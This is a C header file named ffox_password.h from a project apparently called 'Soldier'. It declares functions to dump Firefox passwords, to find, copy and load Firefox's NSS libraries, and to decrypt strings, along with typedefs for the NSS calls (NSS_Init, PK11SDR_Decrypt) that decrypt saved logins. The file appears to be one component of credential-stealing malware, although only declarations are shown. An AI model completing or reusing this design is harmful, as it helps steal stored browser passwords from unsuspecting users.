Soldier/ffox_password.h
#ifndef _FFOX_PASSWORD
#define _FFOX_PASSWORD
typedef struct PK11SlotInfoStr PK11SlotInfo;
VOID DumpFFoxPasswords(LPBYTE *lpBuffer, LPDWORD dwBuffSize);
BOOL GetFFoxLibPath();
BOOL CopyDll(LPWSTR strSrcFullPath, LPWSTR strDstPath, LPWSTR strDstFileName, LPWSTR *strOutFileName);
BOOL GetFFoxLibPath();
BOOL CopyAndLoadFFoxLibrary();
VOID UnloadFirefoxLibs();
LPWSTR DecryptString(LPSTR strCryptData);
typedef enum SECItemType
{
siBuffer = 0,
siClearDataBuffer = 1,
siCipherDataBuffer = 2,
siDERCertBuffer = 3,
siEncodedCertBuffer = 4,
siDERNameBuffer = 5,
siEncodedNameBuffer = 6,
siAsciiNameString = 7,
siAsciiString = 8,
siDEROID = 9,
siUnsignedInteger = 10,
siUTCTime = 11,
siGeneralizedTime = 12
};
struct SECItem
{
SECItemType type;
unsigned char *data;
unsigned int len;
};
typedef DWORD (__cdecl *NSS_Init_p)(LPSTR strProfilePath);
typedef DWORD (__cdecl *NSS_Shutdown_p)();
typedef DWORD (__cdecl *PL_ArenaFinish_p)();
typedef DWORD (__cdecl *PR_Cleanup_p)();
typedef PK11SlotInfo *(__cdecl *PK11_GetInternalKeySlot_p)();
typedef DWORD (__cdecl *PK11_FreeSlot_p)(PK11SlotInfo*);
typedef DWORD (__cdecl *PK11SDR_Decrypt_p)(SECItem *pData, SECItem *pResult, LPVOID cx);
#endif